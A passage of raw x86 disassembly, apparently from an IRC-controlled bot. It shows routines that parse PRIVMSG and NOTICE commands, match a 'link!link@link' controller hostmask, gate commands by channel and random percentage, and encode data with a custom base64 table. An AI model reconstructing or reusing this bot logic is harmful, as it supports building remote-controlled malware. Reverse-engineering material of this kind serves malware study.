; --------------------------------------------------------------------------- loc_40E128: ; CODE XREF: sub_40D871+731j cmp [ebp+arg_0], 0 jz short loc_40E153 mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jz short loc_40E153 mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jz short loc_40E153 push offset byte_41EF28 push [ebp+arg_4] call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40E158 loc_40E153: ; CODE XREF: sub_40D871+8BBj ; sub_40D871+8C4j ... jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E158: ; CODE XREF: sub_40D871+8E0j mov eax, [ebp+arg_C] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_C] mov [ecx+0Ch], eax mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_10] mov [ecx+0Ch], eax push offset aPrivmsg ; "PRIVMSG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40E1C0 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax] cmp eax, 1 jnz short loc_40E1AB mov eax, [ebp+arg_4] mov [ebp+var_90], eax mov [ebp+var_84], 3 jmp short loc_40E1BE ; --------------------------------------------------------------------------- loc_40E1AB: ; CODE XREF: sub_40D871+923j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_90], eax and [ebp+var_84], 0 loc_40E1BE: ; CODE XREF: sub_40D871+938j jmp short loc_40E216 ; --------------------------------------------------------------------------- loc_40E1C0: ; CODE XREF: sub_40D871+915j push offset aNotice ; "NOTICE" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40E211 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax] cmp eax, 1 jnz short loc_40E1F9 mov eax, [ebp+arg_4] mov [ebp+var_90], eax mov [ebp+var_84], 3 jmp short loc_40E20F ; --------------------------------------------------------------------------- loc_40E1F9: ; CODE XREF: sub_40D871+971j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_90], eax mov [ebp+var_84], 1 loc_40E20F: ; CODE XREF: sub_40D871+986j jmp short loc_40E216 ; --------------------------------------------------------------------------- loc_40E211: ; CODE XREF: sub_40D871+963j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E216: ; CODE XREF: sub_40D871:loc_40E1BEj ; sub_40D871:loc_40E20Fj cmp [ebp+var_84], 3 jnz loc_40E321 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_C] mov [ecx+0Ch], eax mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_10] mov [ecx+0Ch], eax and [ebp+var_7CC], 0 jmp short loc_40E253 ; --------------------------------------------------------------------------- loc_40E246: ; CODE XREF: sub_40D871:loc_40E31Cj mov eax, [ebp+var_7CC] inc eax mov [ebp+var_7CC], eax loc_40E253: ; CODE XREF: sub_40D871+9D3j mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] cmp dword ptr [ecx+eax*4], 0 jz short loc_40E26B cmp [ebp+var_7CC], 0Fh jnz short loc_40E2B8 loc_40E26B: ; CODE XREF: sub_40D871+9EFj mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_10] push dword ptr [ecx+eax*4] call sub_416B40 pop ecx mov [ebp+var_7D4], eax mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D4] movsx eax, byte ptr [eax+ecx-1] cmp eax, 1 jnz short loc_40E2B6 mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D4] mov byte ptr [eax+ecx-1], 1 loc_40E2B6: ; CODE XREF: sub_40D871+A2Cj jmp short loc_40E321 ; --------------------------------------------------------------------------- loc_40E2B8: ; CODE XREF: sub_40D871+9F8j mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] push dword ptr [ecx+eax*4] call sub_416B40 pop ecx mov [ebp+var_7D0], eax mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] movsx eax, byte ptr [eax+ecx-1] cmp eax, 1 jnz short loc_40E31C mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] and byte ptr [eax+ecx-1], 0 mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_10] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] and byte ptr [eax+ecx-1], 0 jmp short loc_40E321 ; --------------------------------------------------------------------------- loc_40E31C: ; CODE XREF: sub_40D871+A79j jmp loc_40E246 ; --------------------------------------------------------------------------- loc_40E321: ; CODE XREF: sub_40D871+9ACj ; sub_40D871:loc_40E2B6j ... push offset byte_41EF28 push [ebp+var_90] call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40E340 mov eax, [ebp+arg_4] mov [ebp+var_90], eax loc_40E340: ; CODE XREF: sub_40D871+AC4j push 7Ah push 0 lea eax, [ebp+var_7C] push eax call sub_416B6A add esp, 0Ch mov eax, [ebp+arg_10] mov eax, [eax] mov [ebp+var_88], eax and [ebp+var_8C], 0 mov eax, [ebp+arg_10] push dword ptr [eax] call sub_416B40 pop ecx mov [ebp+var_80], eax loc_40E370: ; CODE XREF: sub_40D871:loc_40E3F2j cmp [ebp+var_80], 3 jnb short loc_40E378 jmp short loc_40E3F7 ; --------------------------------------------------------------------------- loc_40E378: ; CODE XREF: sub_40D871+B03j mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] cmp eax, 20h jnz short loc_40E393 mov eax, [ebp+var_80] dec eax mov [ebp+var_80], eax jmp short loc_40E3F2 ; --------------------------------------------------------------------------- loc_40E393: ; CODE XREF: sub_40D871+B17j mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-3] cmp eax, 20h jnz short loc_40E3F0 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-2] cmp eax, 2Dh jnz short loc_40E3F0 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] cmp eax, 7Ah jg short loc_40E3F0 mov [ebp+var_8C], 1 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] loc_40E3E0: ; DATA XREF: .packed:off_419BA4o mov [ebp+eax+var_7C], 1 mov eax, [ebp+var_80] sub eax, 3 mov [ebp+var_80], eax jmp short loc_40E3F2 ; --------------------------------------------------------------------------- loc_40E3F0: ; CODE XREF: sub_40D871+B32j ; sub_40D871+B44j ... jmp short loc_40E3F7 ; --------------------------------------------------------------------------- loc_40E3F2: ; CODE XREF: sub_40D871+B20j ; sub_40D871+B7Dj jmp loc_40E370 ; --------------------------------------------------------------------------- loc_40E3F7: ; CODE XREF: sub_40D871+B05j ; sub_40D871:loc_40E3F0j cmp [ebp+var_8C], 0 jz loc_40E4CC and [ebp+var_7D8], 0 jmp short loc_40E41A ; --------------------------------------------------------------------------- loc_40E40D: ; CODE XREF: sub_40D871:loc_40E4C7j mov eax, [ebp+var_7D8] inc eax mov [ebp+var_7D8], eax loc_40E41A: ; CODE XREF: sub_40D871+B9Aj cmp [ebp+var_7D8], 10h jnb loc_40E4CC mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] cmp dword ptr [ecx+eax*4], 0 jnz short loc_40E43B jmp loc_40E4CC ; --------------------------------------------------------------------------- loc_40E43B: ; CODE XREF: sub_40D871+BC3j mov eax, [ebp+var_88] add eax, [ebp+var_80] mov ecx, [ebp+var_7D8] mov edx, [ebp+arg_10] cmp [edx+ecx*4], eax jb short loc_40E4C7 cmp [ebp+var_8C], 0 jz short loc_40E48F cmp [ebp+var_7D8], 0 jz short loc_40E488 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] push dword ptr [ecx+eax*4-4] call sub_416B40 pop ecx mov ecx, [ebp+var_7D8] mov edx, [ebp+arg_10] mov ecx, [edx+ecx*4-4] and byte ptr [ecx+eax], 0 loc_40E488: ; CODE XREF: sub_40D871+BF1j and [ebp+var_8C], 0 loc_40E48F: ; CODE XREF: sub_40D871+BE8j mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] mov eax, [ecx+eax*4] and byte ptr [eax], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] and byte ptr [eax], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] and dword ptr [ecx+eax*4], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] and dword ptr [ecx+eax*4], 0 loc_40E4C7: ; CODE XREF: sub_40D871+BDFj jmp loc_40E40D ; --------------------------------------------------------------------------- loc_40E4CC: ; CODE XREF: sub_40D871+B8Dj ; sub_40D871+BB0j ... push offset byte_41EF28 mov eax, [ebp+arg_C] push dword ptr [eax+8] call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40E513 mov eax, [ebp+arg_10] add eax, 0Ch push eax mov eax, [ebp+arg_C] add eax, 0Ch push eax lea eax, [ebp+var_7C] push eax push [ebp+var_84] push [ebp+var_90] push [ebp+arg_8] push [ebp+arg_4] call sub_40A9CF add esp, 1Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E513: ; CODE XREF: sub_40D871+C6Fj mov eax, [ebp+arg_C] cmp dword ptr [eax+10h], 0 jnz short loc_40E521 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E521: ; CODE XREF: sub_40D871+CA9j and [ebp+var_7DC], 0 push offset asc_41A070 ; "*" mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40E54A mov [ebp+var_7DC], 1 jmp loc_40E5DE ; --------------------------------------------------------------------------- loc_40E54A: ; CODE XREF: sub_40D871+CCBj mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] push offset byte_41EF28 call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40E56C mov [ebp+var_7DC], 1 jmp short loc_40E5DE ; --------------------------------------------------------------------------- loc_40E56C: ; CODE XREF: sub_40D871+CF0j mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 pop ecx cmp eax, 4 ja short loc_40E5DE mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+0Ch] movsx eax, byte ptr [ecx+eax-1] cmp eax, 25h jnz short loc_40E5DE mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+0Ch] and byte ptr [ecx+eax-1], 0 call sub_410422 xor edx, edx push 64h pop ecx div ecx inc edx mov [ebp+var_7E0], edx mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B9C pop ecx cmp eax, [ebp+var_7E0] jl short loc_40E5DE mov [ebp+var_7DC], 1 loc_40E5DE: ; CODE XREF: sub_40D871+CD4j ; sub_40D871+CF9j ... movzx eax, [ebp+var_7DC] test eax, eax jz short loc_40E615 mov eax, [ebp+arg_10] add eax, 10h push eax mov eax, [ebp+arg_C] add eax, 10h push eax lea eax, [ebp+var_7C] push eax push [ebp+var_84] push [ebp+var_90] push [ebp+arg_8] push [ebp+arg_4] call sub_40A9CF add esp, 1Ch loc_40E615: ; CODE XREF: sub_40D871+31j ; sub_40D871+4Cj ... pop edi leave retn sub_40D871 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E618 proc near ; CODE XREF: sub_40C93C+A8p ; sub_40D871+87Fp ... var_1194 = dword ptr -1194h var_1190 = dword ptr -1190h var_118C = byte ptr -118Ch var_1180 = dword ptr -1180h var_114C = dword ptr -114Ch var_1148 = dword ptr -1148h var_1144 = dword ptr -1144h var_113C = dword ptr -113Ch var_1138 = dword ptr -1138h var_1109 = byte ptr -1109h var_1108 = byte ptr -1108h var_1089 = byte ptr -1089h var_1088 = byte ptr -1088h var_88 = dword ptr -88h var_84 = byte ptr -84h var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1194h call sub_416BC0 and [ebp+var_4], 0 push 10h lea eax, [ebp+var_118C] push eax lea eax, [ebp+var_1148] push eax lea eax, [ebp+var_1088] push eax push [ebp+arg_0] call sub_407928 add esp, 14h push offset a302 ; "302" push [ebp+var_1144] call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40E66D mov dword_41EA8C, 1 jmp short loc_40E674 ; --------------------------------------------------------------------------- loc_40E66D: ; CODE XREF: sub_40E618+47j and dword_41EA8C, 0 loc_40E674: ; CODE XREF: sub_40E618+53j cmp [ebp+var_1148], 0 jz short loc_40E686 cmp [ebp+var_1144], 0 jnz short loc_40E68B loc_40E686: ; CODE XREF: sub_40E618+63j jmp locret_40E941 ; --------------------------------------------------------------------------- loc_40E68B: ; CODE XREF: sub_40E618+6Cj push offset aPrivmsg ; "PRIVMSG" push [ebp+var_1144] call sub_416F74 pop ecx pop ecx test eax, eax jz short loc_40E6BB push offset aNotice ; "NOTICE" push [ebp+var_1144] call sub_416F74 pop ecx pop ecx test eax, eax jnz loc_40E7A5 loc_40E6BB: ; CODE XREF: sub_40E618+87j cmp [ebp+var_113C], 0 jz loc_40E7A5 cmp [ebp+var_1138], 0 jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax] cmp eax, 3Ah jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax+1] cmp eax, 3Dh jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax+2] test eax, eax jz loc_40E7A5 mov eax, [ebp+var_113C] inc eax inc eax push eax call sub_40EC96 pop ecx test eax, eax jz loc_40E7A5 mov eax, [ebp+var_113C] inc eax push eax mov eax, [ebp+var_113C] inc eax inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_1190], eax push [ebp+var_1190] mov eax, [ebp+var_113C] inc eax push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_1190], eax push [ebp+var_1190] mov eax, [ebp+var_113C] inc eax push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+var_113C] add eax, [ebp+var_1190] and byte ptr [eax+1], 0 push 0Dh lea eax, [ebp+var_1180] push eax lea eax, [ebp+var_113C] push eax push [ebp+var_1180] push [ebp+var_113C] call sub_407928 add esp, 14h loc_40E7A5: ; CODE XREF: sub_40E618+9Dj ; sub_40E618+AAj ... push offset aLinkLink@link ; "link!link@link" push [ebp+var_1148] call sub_416DDE pop ecx pop ecx test eax, eax jz loc_40E853 and [ebp+var_1194], 0 jmp short loc_40E7D5 ; --------------------------------------------------------------------------- loc_40E7C8: ; CODE XREF: sub_40E618+234j mov eax, [ebp+var_1194] inc eax mov [ebp+var_1194], eax loc_40E7D5: ; CODE XREF: sub_40E618+1AEj mov eax, [ebp+var_1194] cmp off_41DB18[eax*4], 0 jnz short loc_40E7E7 jmp short loc_40E851 ; --------------------------------------------------------------------------- loc_40E7E7: ; CODE XREF: sub_40E618+1CBj mov eax, [ebp+var_1194] push off_41DB18[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_1194] push off_41DB18[eax*4] mov eax, [ebp+var_1148] inc eax push eax call sub_40A5BE pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40E839 mov eax, [ebp+var_1194] push off_41DB18[eax*4] call sub_4105AD pop ecx mov [ebp+var_4], 1 jmp short loc_40E851 ; --------------------------------------------------------------------------- loc_40E839: ; CODE XREF: sub_40E618+203j mov eax, [ebp+var_1194] push off_41DB18[eax*4] call sub_4105AD pop ecx jmp loc_40E7C8 ; --------------------------------------------------------------------------- loc_40E851: ; CODE XREF: sub_40E618+1CDj ; sub_40E618+21Fj jmp short loc_40E85A ; --------------------------------------------------------------------------- loc_40E853: ; CODE XREF: sub_40E618+1A1j mov [ebp+var_4], 1 loc_40E85A: ; CODE XREF: sub_40E618:loc_40E851j and [ebp+var_88], 0 mov [ebp+var_114C], 1 jmp short loc_40E87A ; --------------------------------------------------------------------------- loc_40E86D: ; CODE XREF: sub_40E618:loc_40E90Aj mov eax, [ebp+var_114C] inc eax mov [ebp+var_114C], eax loc_40E87A: ; CODE XREF: sub_40E618+253j cmp [ebp+var_114C], 80h jge loc_40E90F mov eax, [ebp+var_1148] add eax, [ebp+var_114C] movsx eax, byte ptr [eax] cmp eax, 21h jnz short loc_40E8B6 mov [ebp+var_88], 1 mov eax, [ebp+var_114C] and byte ptr [ebp+eax+var_88+3], 0 loc_40E8B6: ; CODE XREF: sub_40E618+284j cmp [ebp+var_88], 0 jnz short loc_40E8DA mov eax, [ebp+var_1148] add eax, [ebp+var_114C] mov ecx, [ebp+var_114C] mov al, [eax] mov byte ptr [ebp+ecx+var_88+3], al loc_40E8DA: ; CODE XREF: sub_40E618+2A5j mov eax, [ebp+var_1148] add eax, [ebp+var_114C] mov ecx, [ebp+var_114C] mov al, [eax] mov [ebp+ecx+var_1109], al mov eax, [ebp+var_1148] add eax, [ebp+var_114C] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40E90A jmp short loc_40E90F ; --------------------------------------------------------------------------- loc_40E90A: ; CODE XREF: sub_40E618+2EEj jmp loc_40E86D ; --------------------------------------------------------------------------- loc_40E90F: ; CODE XREF: sub_40E618+26Cj ; sub_40E618+2F0j and [ebp+var_5], 0 and [ebp+var_1089], 0 lea eax, [ebp+var_118C] push eax lea eax, [ebp+var_1148] push eax lea eax, [ebp+var_1108] push eax lea eax, [ebp+var_84] push eax push [ebp+var_4] call sub_40D871 add esp, 14h locret_40E941: ; CODE XREF: sub_40E618:loc_40E686j leave retn sub_40E618 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E943 proc near ; CODE XREF: .packed:00416ABAp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_40E94E: ; CODE XREF: sub_40E943+32j mov eax, [ebp+var_4] mov [ebp+var_8], eax mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40E960 jmp short locret_40E977 ; --------------------------------------------------------------------------- loc_40E960: ; CODE XREF: sub_40E943+19j push [ebp+var_8] call sub_407B5E pop ecx mov [ebp+var_4], eax push [ebp+var_8] call sub_40E618 pop ecx jmp short loc_40E94E ; --------------------------------------------------------------------------- locret_40E977: ; CODE XREF: sub_40E943+1Bj leave retn sub_40E943 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E979 proc near ; CODE XREF: .packed:004168D5p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40E98A ; --------------------------------------------------------------------------- loc_40E983: ; CODE XREF: sub_40E979+24j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40E98A: ; CODE XREF: sub_40E979+8j cmp [ebp+var_4], 100h jnb short loc_40E99F mov eax, [ebp+var_4] and byte_41EA90[eax], 0 jmp short loc_40E983 ; --------------------------------------------------------------------------- loc_40E99F: ; CODE XREF: sub_40E979+18j and [ebp+var_4], 0 jmp short loc_40E9AC ; --------------------------------------------------------------------------- loc_40E9A5: ; CODE XREF: sub_40E979+4Cj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40E9AC: ; CODE XREF: sub_40E979+2Aj cmp [ebp+var_4], 40h jnb short locret_40E9C7 mov eax, [ebp+var_4] movzx eax, byte_41A18C[eax] mov cl, byte ptr [ebp+var_4] mov byte_41EA90[eax], cl jmp short loc_40E9A5 ; --------------------------------------------------------------------------- locret_40E9C7: ; CODE XREF: sub_40E979+37j leave retn sub_40E979 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E9C9 proc near ; CODE XREF: sub_40A9CF+34Cp ; sub_40A9CF+E18p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push [ebp+arg_0] call sub_416B40 pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 2 jnb short loc_40E9E8 xor eax, eax jmp locret_40EB4C ; --------------------------------------------------------------------------- loc_40E9E8: ; CODE XREF: sub_40E9C9+16j and [ebp+var_4], 0 and [ebp+var_8], 0 loc_40E9F0: ; CODE XREF: sub_40E9C9+17Aj push 1 pop eax test eax, eax jz loc_40EB48 mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EA29 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41EA90[eax] shl eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EA2E ; --------------------------------------------------------------------------- loc_40EA29: ; CODE XREF: sub_40E9C9+40j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA2E: ; CODE XREF: sub_40E9C9+5Ej mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EA66 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41EA90[eax] sar eax, 4 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, al mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EA6B ; --------------------------------------------------------------------------- loc_40EA66: ; CODE XREF: sub_40E9C9+72j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA6B: ; CODE XREF: sub_40E9C9+9Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EA99 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41EA90[eax] shl eax, 4 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EA9E ; --------------------------------------------------------------------------- loc_40EA99: ; CODE XREF: sub_40E9C9+B0j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA9E: ; CODE XREF: sub_40E9C9+CEj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EAD6 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41EA90[eax] sar eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, al mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EAD8 ; --------------------------------------------------------------------------- loc_40EAD6: ; CODE XREF: sub_40E9C9+E2j jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EAD8: ; CODE XREF: sub_40E9C9+10Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EB06 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41EA90[eax] shl eax, 6 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EB08 ; --------------------------------------------------------------------------- loc_40EB06: ; CODE XREF: sub_40E9C9+11Dj jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EB08: ; CODE XREF: sub_40E9C9+13Bj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EB3A mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, byte_41EA90[eax] mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EB3C ; --------------------------------------------------------------------------- loc_40EB3A: ; CODE XREF: sub_40E9C9+14Cj jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EB3C: ; CODE XREF: sub_40E9C9+16Fj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax jmp loc_40E9F0 ; --------------------------------------------------------------------------- loc_40EB48: ; CODE XREF: sub_40E9C9+2Cj ; sub_40E9C9:loc_40EA29j ... mov eax, [ebp+var_4] dec eax locret_40EB4C: ; CODE XREF: sub_40E9C9+1Aj leave retn sub_40E9C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB4E proc near ; CODE XREF: sub_40A9CF+292p ; sub_40A9CF+D12p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch and [ebp+var_4], 0 and [ebp+var_8], 0 and [ebp+var_C], 0 loc_40EB60: ; CODE XREF: sub_40EB4E:loc_40EC83j mov eax, [ebp+arg_0] add eax, [ebp+var_8] movzx eax, byte ptr [eax] sar eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] shl eax, 4 and eax, 30h mov [ebp+var_4], al mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EBC2 movzx eax, [ebp+var_4] or al, 1 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp loc_40EC88 ; --------------------------------------------------------------------------- loc_40EBC2: ; CODE XREF: sub_40EB4E+52j movzx eax, [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx] sar ecx, 4 and ecx, 0Fh or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] shl eax, 2 and eax, 3Ch mov [ebp+var_4], al mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EC2A movzx eax, [ebp+var_4] or al, 1 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_40EC88 ; --------------------------------------------------------------------------- loc_40EC2A: ; CODE XREF: sub_40EB4E+BDj movzx eax, [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx] sar ecx, 6 or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 3Fh mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EC83 jmp short loc_40EC88 ; --------------------------------------------------------------------------- loc_40EC83: ; CODE XREF: sub_40EB4E+131j jmp loc_40EB60 ; --------------------------------------------------------------------------- loc_40EC88: ; CODE XREF: sub_40EB4E+6Fj ; sub_40EB4E+DAj ... mov eax, [ebp+arg_4] add eax, [ebp+var_C] and byte ptr [eax], 0 mov eax, [ebp+var_C] leave retn sub_40EB4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EC96 proc near ; CODE XREF: sub_40A9CF+2FAp ; sub_40E618+FDp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push [ebp+arg_0] call sub_416B40 pop ecx mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_40ECB4 ; --------------------------------------------------------------------------- loc_40ECAD: ; CODE XREF: sub_40EC96+3Aj ; sub_40EC96+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40ECB4: ; CODE XREF: sub_40EC96+15j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jge short loc_40ECE6 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movzx eax, byte_41EA90[eax] test eax, eax jz short loc_40ECD2 jmp short loc_40ECAD ; --------------------------------------------------------------------------- loc_40ECD2: ; CODE XREF: sub_40EC96+38j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 41h jnz short loc_40ECE2 jmp short loc_40ECAD ; --------------------------------------------------------------------------- loc_40ECE2: ; CODE XREF: sub_40EC96+48j xor eax, eax jmp short locret_40ECE9 ; --------------------------------------------------------------------------- loc_40ECE6: ; CODE XREF: sub_40EC96+24j push 1 pop eax 